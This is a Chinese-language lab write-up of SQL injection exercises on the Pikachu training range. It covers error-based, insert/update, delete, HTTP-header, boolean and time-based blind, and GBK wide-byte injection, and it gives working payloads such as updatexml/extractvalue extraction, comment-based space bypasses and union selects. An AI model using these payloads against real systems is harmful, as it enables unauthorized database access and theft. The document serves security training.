目录
XX型注入
insert/update注入
delete注入
"http header"注入
基于boolian的盲注
基于时间的盲注
宽字节注入(wide byte注入)
pikachu靶场的字符型注入中xx' or 1=1#可以得到所有用户的信息。
XX型注入
首先输入1'探测一下。
然后返回这样一条报错信息,注意near ''1'')' ,红色部分是表示内容为字符串的一对单引号,实际报错内容应该是'1''),然后这个橙色部分单引号应该是我们输入的导致报错的单引号,事实上还缺一个括号闭合,报错信息省略了,所以数据格式大概是('你的输入')。
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'')' at line 1
输入1') order by 3#报错,经过尝试有两列内容。
输入1' union slect database(),2#爆库,接下来一一操作便是。
insert/update注入
首先注册一个用户。
随后点击修改信息,并且在性别后面加一个单引号。
提交后成功报错。
接下来想查看有几列,发现一直失败,这个时候转向报错注入。
输入1' and extractvalue(1,concat(0x7e,(select database()),0x7e))#,成功拿到数据库名,接下来慢慢测吧哈哈,除了这个函数还可以用updatexml,它具有三个参数。
回到注册页面,注册一般使用insert语句,可能存在insert注入,insert格式如下:
用户输入1' or updatexml(1,concat(0x7e,(select database()),0x7e),0) or '
原来的
('百度','https://www.baidu.com')变成
('1' or updatexml(1,concat(0x7e,(select database()),0x7e),0) or '','https://www.baidu.com')
其中红色单引号是原本'百度'的一对单引号。
delete注入
首先上传一份javascript恶意脚本,然后成功上传。
这个时候尝试上传1',发现也没有报错。
接下来删除js脚本,页面没有变化。
但是当我们删除1'时候,提示我们删除失败,数据库挂了好好好,大概就是删除带有插入恶意符号的语句可能会触发sql注入。
我们重新上传1' order by 3#,随后删除看看,但是发现无论列数设置多少页面都没变化,但是就是在删除的时候存在sql注入,怎会回事呢?我们删除的时候抓包看一看。
这里猜测大概在id这里存在sql注入
将id设置为id=75',发现出现了报错。
接下来输入id=75 and 1=1
接下来,发现遇到了这个。
那么大概一些东西被过滤了,猜测是空格,将空格替换成/**/,随后删除成功。
随后输入id=77/**/and/**/1=2,发现不行,哎这个是数字型注入啊。
随后输入id=78/**/order/**/by/**/2,竟然不存在,然后尝试1也不行,那么转成报错注入方向。
输入id=79/**/and/**/updatexml(1,concat(0x7e,(select/**/database()),0x7e),0)
发现爆出了数据库名,除了这个paylaod还可以,在这里无论最终真值与否,右边的语句都会报错都会返回信息,所以关系不大。
id=79/**/or/**/updatexml(1,concat(0x7e,(select/**/database()),0x7e),0)
id=79/**/&&/**/updatexml(1,concat(0x7e,(select/**/database()),0x7e),0)
id=79/**/||/**/updatexml(1,concat(0x7e,(select/**/database()),0x7e),0)
"http header"注入
在这里我们登录了一个账号,发现返回了我的ip,user agent,http accept,端口号,由于我的信息都写入了数据库,所以这几个跟数据库相关的部分都可能存在sql注入。
刷新页面抓包,首先在ip位置测试sql注入,然后返回了错误,但是并不是sql语句的报错,这里不存在。
接着在user agent后面加入一个单引号,发现sql语句报错,那么这里存在sql注入。
随后再次尝试,在accept后面追加单引号来测试,然后sql语句报错,那么这里也存在sql注入。
随后在cookie测试,发现cookie这三个参数都存在sql注入。
在cookie处利用报错注入输入' and updatexml(1,concat(0x7e,(select database()),0x7e),0)#
基于boolian的盲注
kobe' and '1'='1
kobe' and '1'='2
可以通过这个查看页面变化,但是这个页面只有这两种情况,怎么输入最后都没有出现sql语句报错,这里可以尝试布尔盲注入。
输入kobe' and length(database())>10#
但是输入kobe' and length(database())=7#,可以看出回显,那么可以通过这种办法猜测出数据库名字的长度。
输入kobe' and ascii(substr(database(),1,1))>100#,说明数据库名字的第一个字符的ASCII值大于100。
最终输入kobe' and ascii(substr(database(),1,1))=112#,说明数据库名字第一个字符的ASCII值为112,也就是p
接下来测表名,首先应该同刚刚一样测试表名的长度,随后根据表名每位字符的ascii码确定具体的表名。
基于时间的盲注
这道题我们发现无论怎么输入,最终都只会生成一个内容,所以我们仅仅可以使用页面的休息作为参考,那就是基于时间的盲注。
输入1' and sleep(5)#,页面停止5秒。
输入1' and if(length(database())>5,sleep(5),1)#
页面停止5秒
输入1' and if(length(database())=7,sleep(5),1)#
页面停止5秒,说明数据库名的长度是7。
输入1' and if(ascii(substr(database(),1,1))=112,sleep(5),1)#
页面停止5秒,说明数据库名的第一个字符的ascii码为112,为p
随后慢慢测试出数据库名,测试表的方法一样,首先测试表的长度,随后测试表的内容。
宽字节注入(wide byte注入)
以下是宽字节注入简单学习。
攻击背景:
为了防止SQL注入,老式的PHP程序会开启
magic_quotes_gpc
选项,或者程序员手动使用addslashes()
、mysql_real_escape_string()
等函数。这些功能会在特殊字符(如单引号
'
)前加上一个反斜杠(\) 进行转义。
例如,用户输入
ABC'
,经过转义后会变成ABC\'
。这样,当输入被拼接到SQL语句中时,
\'
会被数据库认为是一个普通的单引号字符,而不是字符串的结束符,从而无法破坏SQL语句结构。
攻击原理:
“宽字节注入”利用了数据库连接层的一个特性:当MySQL连接使用GBK
、BIG5
、SJIS
等宽字符集( multibyte character set)时,可能会将两个字节识别为一个汉字。
关键点:在GBK编码中,
%df%5c
是一个合法的汉字。
%df
就是我们讨论的这个字符。
%5c
是反斜杠\
的URL编码。
攻击过程:
假设我们想注入 id=1'
,但程序会对单引号转义。
-
正常输入被转义:
-
输入:
1'
-
转义后:
1\'
(单引号前被加上了反斜杠\
) -
最终SQL:
SELECT * FROM users WHERE id = '1\'';
-
这个SQL是合法的,单引号被转义,注入失败。
-
-
使用
%df
进行宽字节注入:-
输入:
%df'
(注意,这里是输入%df
这个字符,而不是输入这三个符号) -
转义机制工作:程序看到单引号
'
,于是在它前面加一个反斜杠\
。-
转义后的数据变成了:
%df\'
-
在十六进制表示下,这就是:
df 5c 27
(%df
+\
+'
)
-
-
魔法时刻:当数据库连接使用
GBK
这类宽字符集时,它会将%df%5c
(即df
和5c
这两个字节)“吞并”,理解为一个GBK编码的汉字 “運” (yùn
)。 -
最终,数据库看到的SQL语句变成了:
sql
SELECT * FROM users WHERE id = '運'';
-
看!反斜杠(
\
)神奇地消失了! 单引号'
失去了它的保护伞(反斜杠),重新暴露出来,成为了一个未转义的单引号,成功地闭合了前面的字符串。 -
现在,攻击者就可以在这个单引号之后继续构造Payload,例如:
%df' AND 1=1 #
或%df' UNION SELECT ... #
。
-
3. 总结:%df
的意义
目的:它是一个用于触发宽字节注入的精心构造的字节。
作用:与系统自动添加的反斜杠(
\
,%5c
)结合,形成一个宽字符(如GBK中的“運”),从而“吃掉”用于防护的安全反斜杠,使后续的单引号重新生效。条件:这种攻击成功需要两个前提:
数据库连接使用了宽字符集(如
GBK
,BIG5
)。目标网站使用了转义函数(如
addslashes
)但未使用参数化查询。
所以,%df
是Web安全历史上一个非常有名的“黑客字符”,它专门用来利用特定环境下的防御漏洞。看到它,安全研究人员立刻就会想到“宽字节注入”。
接下来回到靶场。
首先尝试1',发现没有报错,然后怎么输入页面都不变,时间盲注也没有办法使用。
这里我们尝试使用宽字节注入,在pikachu靶场的字符型sql注入中输入xx' or 1=1#就会返回所有人的信息,那么在这里按理来说,输入xx%df' or 1=1#应该也可以输出好多人的信息,但是这里没有。
但是当我们抓包时,将name改为1%df' or 1=1#时
然后再放包,就出现了所有人的信息,为什么呢?
因为首先如果在输入框输入1%df'后面会进行url编码,将%号url编码为%25,将单引号url编码为%27,并且生成斜杠然后url编码为%5c,所以原来的就变成1%25df%5c%27,但是在GBK编码中,%df%5c
是一个合法的汉字,%25df%5c就不是一个合法的汉字了,从而导致单引号没有逃逸。
当我们在抓包后输入时,%就不会被url进行编码,从而当发现我们输入单引号时,系统生成斜杠(\),并且对它进行url编码为%5c,从而%df%5c表示一个汉字,从而剩下了单引号留下。
抓包后输入1%df' order by 3#后报错,输入1%df' order by 2#没有报错,那么存在两列。
输入1%df' union select 1,database()#
拿到了数据库名。